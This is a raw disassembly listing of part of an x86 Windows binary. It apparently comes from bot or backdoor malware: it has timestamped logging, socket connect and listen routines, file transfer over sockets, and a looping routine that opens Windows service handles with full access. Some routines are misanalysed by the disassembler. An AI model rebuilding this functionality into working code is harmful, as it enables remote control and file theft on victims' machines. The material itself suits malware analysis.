		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	ds:dword_41F054	; GetLocalTime
		mov	ebx, offset dword_433AD4
		mov	edi, 80h
		mov	esi, offset dword_42FAD4


loc_409637:				; CODE XREF: sub_409615+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_40964E
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_414DD0
		add	esp, 0Ch


loc_40964E:				; CODE XREF: sub_409615+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_409637
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_413B2A
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409615	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409689	proc near		; CODE XREF: sub_4060A6+15Bp
					; seg000:004063DDp ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41551F
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_409615
		add	esp, 14h
		leave
		retn
sub_409689	endp


; =============== S U B	R O U T	I N E =======================================



sub_4096B5	proc near		; CODE XREF: seg000:004107E1p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_42FAD4
		xor	ecx, ecx


loc_4096BC:				; CODE XREF: sub_4096B5+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_433AD4
		jl	short loc_4096BC
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_427A64
		jnz	short loc_4096EC
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_4110B0
		add	esp, 14h


loc_4096EC:				; CODE XREF: sub_4096B5+1Fj
		push	esi
		call	sub_409615
		pop	ecx
		pop	esi
		retn
sub_4096B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4096F5	proc near		; DATA XREF: seg000:00410891o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_409748
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_427ACC
		push	eax
		push	[ebp+var_11C]
		call	sub_4110B0
		add	esp, 14h


loc_409748:				; CODE XREF: sub_4096F5+33j
		cmp	[ebp+var_98], 0
		jz	short loc_409768
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_413B1F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_409768
		mov	[ebp+var_8], eax


loc_409768:				; CODE XREF: sub_4096F5+5Aj
					; sub_4096F5+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_42FAD4


loc_409771:				; CODE XREF: sub_4096F5+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_4097CB
		cmp	byte ptr [esi],	0
		jz	short loc_4097BA
		cmp	[ebp+var_98], 0
		jz	short loc_4097A0
		cmp	[ebp+var_4], 0
		jnz	short loc_4097A0
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_407FEA
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4097BA


loc_4097A0:				; CODE XREF: sub_4096F5+90j
					; sub_4096F5+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_4110B0
		add	esp, 14h


loc_4097BA:				; CODE XREF: sub_4096F5+87j
					; sub_4096F5+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_433AD4
		jl	short loc_409771


loc_4097CB:				; CODE XREF: sub_4096F5+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_427A9C
		push	eax
		call	sub_4135AD
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_409805
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_4110B0
		add	esp, 14h


loc_409805:				; CODE XREF: sub_4096F5+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_409615
		push	[ebp+var_18]
		call	sub_413375
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A70000h
		jnz	short near ptr loc_40987E+4
		pop	esi
sub_4096F5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409824	proc near		; CODE XREF: sub_4082BD+1Ep
					; sub_409894+4p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_427AF8
		xor	esi, esi
		mov	ebx, offset dword_4282AC


loc_409837:				; CODE XREF: sub_409824+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	ds:dword_42F6BC
		cmp	[ebp+arg_0], esi
		jz	short loc_409871
		push	[ebp+arg_0]
		call	sub_413DB0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_42F72C
		jmp	short loc_40987B
; ---------------------------------------------------------------------------


loc_409871:				; CODE XREF: sub_409824+2Fj
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_42F674


loc_40987B:				; CODE XREF: sub_409824+4Bj
		push	[ebp+var_4]


loc_40987E:				; CODE XREF: sub_4096F5+12Cj
		call	ds:dword_42F6E4
		add	edi, 8
		cmp	edi, offset dword_427B10
		jl	short loc_409837
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409824	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409894	proc near		; CODE XREF: sub_409894+16j
					; DATA XREF: seg000:0040AED5o

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_409824
		pop	ecx
		push	ds:dword_427AF0
		call	ds:dword_41F058	; Sleep
		jmp	short sub_409894
sub_409894	endp


; =============== S U B	R O U T	I N E =======================================



sub_4098AC	proc near		; CODE XREF: sub_4098E7+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4098E1
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_4098C5:				; CODE XREF: sub_4098AC+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, ds:dword_41F254[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_4098C5
		pop	edi
		pop	ebx


loc_4098E1:				; CODE XREF: sub_4098AC+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_4098AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4098E7	proc near		; CODE XREF: seg000:0040A3C7p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_413E5F
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_413CA8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_409936


loc_40990C:				; CODE XREF: sub_4098E7+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_40993A
		inc	ebx
		push	ebx
		push	esi
		call	sub_41556F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_409936
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_414C40
		add	esp, 10h
		jmp	short loc_40990C
; ---------------------------------------------------------------------------


loc_409936:				; CODE XREF: sub_4098E7+23j
					; sub_4098E7+39j
		xor	eax, eax
		jmp	short loc_409955
; ---------------------------------------------------------------------------


loc_40993A:				; CODE XREF: sub_4098E7+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_4098AC
		push	esi
		mov	ebx, eax
		call	sub_413ED3
		push	edi
		call	sub_413C00
		add	esp, 10h
		mov	eax, ebx


loc_409955:				; CODE XREF: sub_4098E7+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4098E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409959	proc near		; CODE XREF: seg000:00409A12p
					; sub_409F42+BCp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	ds:dword_42F788
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_4099D5
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_413630
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	ds:dword_42F708
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	ds:dword_42F748
		cmp	eax, esi
		jnz	short loc_4099BA
		push	[ebp+arg_0]
		call	ds:dword_42F78C
		test	eax, eax
		jz	short loc_4099D5
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_4099BA:				; CODE XREF: sub_409959+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	ds:dword_42F6B0
		cmp	eax, esi
		jnz	short loc_4099D9
		push	edi
		call	ds:dword_42F7A0


loc_4099D5:				; CODE XREF: sub_409959+1Bj
					; sub_409959+58j
		mov	eax, esi
		jmp	short loc_4099DB
; ---------------------------------------------------------------------------


loc_4099D9:				; CODE XREF: sub_409959+73j
		mov	eax, edi


loc_4099DB:				; CODE XREF: sub_409959+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_409959	endp

; ---------------------------------------------------------------------------


loc_4099DF:				; DATA XREF: seg000:0040BDD4o
		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_413E30
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1B4h]
		rep movsd
		push	1
		pop	esi
		push	dword ptr [ebp-14h]
		mov	[eax+1B0h], esi
		lea	eax, [ebp-1ACh]
		push	eax
		call	sub_409959
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short near ptr loc_409A71+1
		lea	eax, [ebp-11B4h]
		push	offset dword_427B9C
		push	eax
		call	sub_4135AD
		xor	edi, edi
		pop	ecx
		cmp	[ebp-8], edi
		pop	ecx
		jnz	short loc_409A55
		push	edi
		lea	eax, [ebp-11B4h]
		push	dword ptr [ebp-0Ch]
		push	eax
		lea	eax, [ebp-94h]
		push	eax
		push	ebx
		call	sub_4110B0
		add	esp, 14h


loc_409A55:				; CODE XREF: seg000:00409A38j
		lea	eax, [ebp-11B4h]
		push	eax
		call	sub_409615
		push	dword ptr [ebp-10h]
		call	sub_413375
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A70000h


loc_409A71:				; CODE XREF: seg000:00409A1Ej
		db	2Eh
		push	offset byte_42E348
		push	ebx
		call	loc_408CA5
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short near ptr loc_409ADC+1
		lea	eax, [ebp-11B4h]
		push	offset dword_427B58
		push	eax
		call	sub_4135AD
		xor	edi, edi
		pop	ecx
		cmp	[ebp-8], edi
		pop	ecx
		jnz	short loc_409AB9
		push	edi
		lea	eax, [ebp-11B4h]
		push	dword ptr [ebp-0Ch]
		push	eax
		lea	eax, [ebp-94h]
		push	eax
		push	ebx
		call	sub_4110B0
		add	esp, 14h


loc_409AB9:				; CODE XREF: seg000:00409A9Cj
		lea	eax, [ebp-11B4h]
		push	eax
		call	sub_409615
		pop	ecx
		push	ebx
		call	ds:dword_42F7A0
		push	dword ptr [ebp-10h]
		call	sub_413375
		pop	ecx
		push	esi
		call	near ptr 0A70000h


loc_409ADC:				; CODE XREF: seg000:00409A82j
		mov	esp, 15FF646Ah
		pop	eax
		lock inc ecx
		add	[ebx], dh
; ---------------------------------------------------------------------------
		dw 0BEFFh
		dd 1000h, 4C858D56h, 57FFFFEEh,	9B36E850h, 0C4830000h
		dd 4C858D0Ch, 57FFFFEEh, 0FF535056h, 42F72015h,	7EC08500h
		dd 4C858D38h, 68FFFFEEh, 423020h, 0A1AEE850h, 858D0000h
		dd 0FFFFEE4Ch, 0EF63E850h, 0C483FFFFh, 74C0850Ch, 0FF646A14h
		dd 41F05815h, 0E8076A00h, 975Dh, 7559C085h, 4C858DA3h
		dd 68FFFFEEh, 427B10h, 9A53E850h, 7D390000h, 755959F8h
		dd 858D571Bh, 0FFFFEE4Ch, 50F475FFh, 0FF6C858Dh, 5350FFFFh
		dd 7537E8h, 14C48300h, 0EE4C858Dh, 0E850FFFFh, 0FFFFFA8Dh
		dd 15FF5359h, 42F7A0h, 0E8F075FFh, 97DDh, 61E85759h, 0F0006664h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409BA0	proc near		; DATA XREF: seg000:0040FA4Eo

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_3FC		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp+var_10], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	ds:dword_42F788
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_409BEE
		push	offset dword_427D3C
		jmp	loc_409DA7
; ---------------------------------------------------------------------------


loc_409BEE:				; CODE XREF: sub_409BA0+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_413630
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	ds:dword_42F708
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	ds:dword_42F734
		test	eax, eax
		jz	short loc_409C2C
		push	offset dword_427D04
		jmp	loc_409DA7
; ---------------------------------------------------------------------------


loc_409C2C:				; CODE XREF: sub_409BA0+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	ds:dword_42F6AC
		push	[ebp+var_2E]
		call	ds:dword_42F644
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_413DB0
		pop	ecx


loc_409C5E:				; CODE XREF: sub_409BA0+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_409C71
		push	5Fh
		pop	eax
		jmp	short loc_409C74
; ---------------------------------------------------------------------------


loc_409C71:				; CODE XREF: sub_409BA0+CAj
		movsx	eax, al


loc_409C74:				; CODE XREF: sub_409BA0+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_413DB0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_409C5E
		push	ebx
		push	edi
		call	ds:dword_42F730
		test	eax, eax
		jz	short loc_409CA7
		push	offset dword_427B9C
		jmp	loc_409DA7
; ---------------------------------------------------------------------------


loc_409CA7:				; CODE XREF: sub_409BA0+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		call	ds:dword_41F078	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_409CD1
		push	offset dword_427CD0
		jmp	loc_409DA7
; ---------------------------------------------------------------------------


loc_409CD1:				; CODE XREF: sub_409BA0+125j
		push	esi
		push	eax
		call	near ptr 0A70000h
		mov	esi, 50084589h
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_408619
		pop	ecx
		push	eax
		call	ds:dword_42F748
		push	eax
		call	ds:dword_42F704
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_427CB8
		push	eax
		call	sub_4135AD
		push	esi
		lea	eax, [ebp+var_3FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_4110B0
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	ds:dword_42F6F0
		test	eax, eax
		jg	short loc_409D81
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_427C8C
		push	eax
		push	[ebp+var_1FC]
		call	sub_4110B0
		jmp	loc_409EA5
; ---------------------------------------------------------------------------


loc_409D81:				; CODE XREF: sub_409BA0+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	ds:dword_42F79C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_409DBA
		push	offset dword_427C54


loc_409DA7:				; CODE XREF: sub_409BA0+49j
					; sub_409BA0+87j ...
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4135AD
		pop	ecx
		pop	ecx
		jmp	loc_409EA8
; ---------------------------------------------------------------------------


loc_409DBA:				; CODE XREF: sub_409BA0+200j
		push	edi
		call	ds:dword_42F7A0
		cmp	[ebp+arg_0], esi
		jz	loc_409E6C
		mov	edi, 400h


loc_409DCF:				; CODE XREF: sub_409BA0+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_409DDC
		mov	[ebp+var_4], eax


loc_409DDC:				; CODE XREF: sub_409BA0+237j
		push	edi
		lea	eax, [ebp+var_A04]
		push	esi
		push	eax
		call	sub_413630
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		call	ds:dword_41F098	; SetFilePointer
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		call	ds:dword_41F094	; ReadFile
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	ds:dword_42F758
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	ds:dword_42F720
		cmp	eax, ebx
		jl	loc_409F01
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_409F01
		sub	[ebp+arg_0], eax
		jnz	loc_409DCF
		mov	edi, [ebp+var_18]


loc_409E6C:				; CODE XREF: sub_409BA0+224j
		push	[ebp+var_8]
		call	ds:dword_41F070	; CloseHandle
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_40A6A6
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		push	[ebp+var_44]
		call	ds:dword_42F794
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_427C00
		push	eax
		call	sub_4135AD


loc_409EA5:				; CODE XREF: sub_409BA0+1DCj
		add	esp, 14h


loc_409EA8:				; CODE XREF: sub_409BA0+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_409ECD
		push	esi
		lea	eax, [ebp+var_3FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_4110B0
		add	esp, 14h


loc_409ECD:				; CODE XREF: sub_409BA0+30Bj
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_409615
		cmp	edi, esi
		pop	ecx
		jbe	short loc_409EE5
		push	edi
		call	ds:dword_42F7A0


loc_409EE5:				; CODE XREF: sub_409BA0+33Cj
		push	[ebp+var_1F8]
		call	ds:dword_42F7A0
		push	[ebp+var_58]
		call	sub_413375
		pop	ecx
		push	esi
		call	near ptr 0A70000h
		xchg	eax, edi


loc_409F01:				; CODE XREF: sub_409BA0+2AFj
					; sub_409BA0+2BAj
		push	esi
		mov	esi, offset dword_427BD4
		push	[ebp+var_54]
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+var_1FC]
		call	sub_4110B0
		push	esi
		call	sub_409615
		add	esp, 18h
		push	[ebp+var_1F8]
		call	ds:dword_42F7A0
		push	[ebp+var_58]
		call	sub_413375
		pop	ecx
		push	ebx
		call	near ptr 0A70000h
		push	ebx
sub_409BA0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409F42	proc near		; DATA XREF: seg000:0040BB12o

var_1A37C	= byte ptr -1A37Ch
var_14C4	= byte ptr -14C4h
var_4C4		= byte ptr -4C4h
var_2C4		= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_413E30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp+var_8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_2C4]
		push	104h
		push	eax
		call	near ptr 0A70000h
		adc	cl, [ebp-1A37Bh]
		call	dword ptr [eax-73h]
		test	ds:8D50FFFFh[edi*8], edi
		test	ds:2468FFFFh[edi*8], edi
		xor	[edx+0], al
		push	eax
		call	sub_4135AD
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_41F078	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_409FCC
		push	offset dword_427E44
		jmp	short loc_40A012
; ---------------------------------------------------------------------------


loc_409FCC:				; CODE XREF: sub_409F42+81j
		push	eax
		call	ds:dword_41F070	; CloseHandle
		lea	eax, [ebp+var_2C4]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_413CA8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_409FF4
		push	offset dword_427E00
		jmp	short loc_40A012
; ---------------------------------------------------------------------------


loc_409FF4:				; CODE XREF: sub_409F42+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_409959
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_40A025
		push	offset dword_427DCC


loc_40A012:				; CODE XREF: sub_409F42+88j
					; sub_409F42+B0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4135AD
		pop	ecx
		pop	ecx
		jmp	loc_40A11F
; ---------------------------------------------------------------------------


loc_40A025:				; CODE XREF: sub_409F42+C9j
		mov	esi, 1000h


loc_40A02A:				; CODE XREF: sub_409F42+14Ej
		push	esi
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	eax
		call	sub_413630
		add	esp, 0Ch
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_42F720
		mov	edi, eax
		cmp	edi, ebx
		jz	near ptr loc_40A0F0+1
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40A092
		push	[ebp+var_4]
		lea	eax, [ebp+var_14C4]
		push	edi
		push	1
		push	eax
		call	sub_41568F
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	ds:dword_42F704
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_42F758
		jmp	short loc_40A02A
; ---------------------------------------------------------------------------


loc_40A092:				; CODE XREF: sub_409F42+118j
		lea	eax, [ebp+var_4C4]
		push	offset dword_427BD4
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_4110B0
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_409615
		push	[ebp+var_4]
		call	sub_413C00
		add	esp, 24h
		push	[ebp+arg_0]
		call	ds:dword_42F7A0
		push	[ebp+var_1C]
		call	sub_413375
		pop	ecx
		push	1
		call	near ptr 0A70000h


loc_40A0F0:				; CODE XREF: sub_409F42+10Fj
		add	cl, [ebx+5299F845h]
		push	eax
		call	sub_40A6A6
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset dword_427D74
		push	eax
		call	sub_4135AD
		add	esp, 1Ch


loc_40A11F:				; CODE XREF: sub_409F42+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_40A144
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_4110B0
		add	esp, 14h


loc_40A144:				; CODE XREF: sub_409F42+1E0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_409615
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_40A15F
		push	[ebp+var_4]
		call	sub_413C00
		pop	ecx


loc_40A15F:				; CODE XREF: sub_409F42+212j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_40A16D
		push	[ebp+arg_0]
		call	ds:dword_42F7A0


loc_40A16D:				; CODE XREF: sub_409F42+220j
		push	[ebp+var_1C]
		call	sub_413375
		pop	ecx
		push	ebx
		call	near ptr 0A70000h
		out	dx, al
sub_409F42	endp ; sp-analysis failed



loc_40A17D:				; DATA XREF: seg000:0040EA44o
					; seg000:0040F191o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
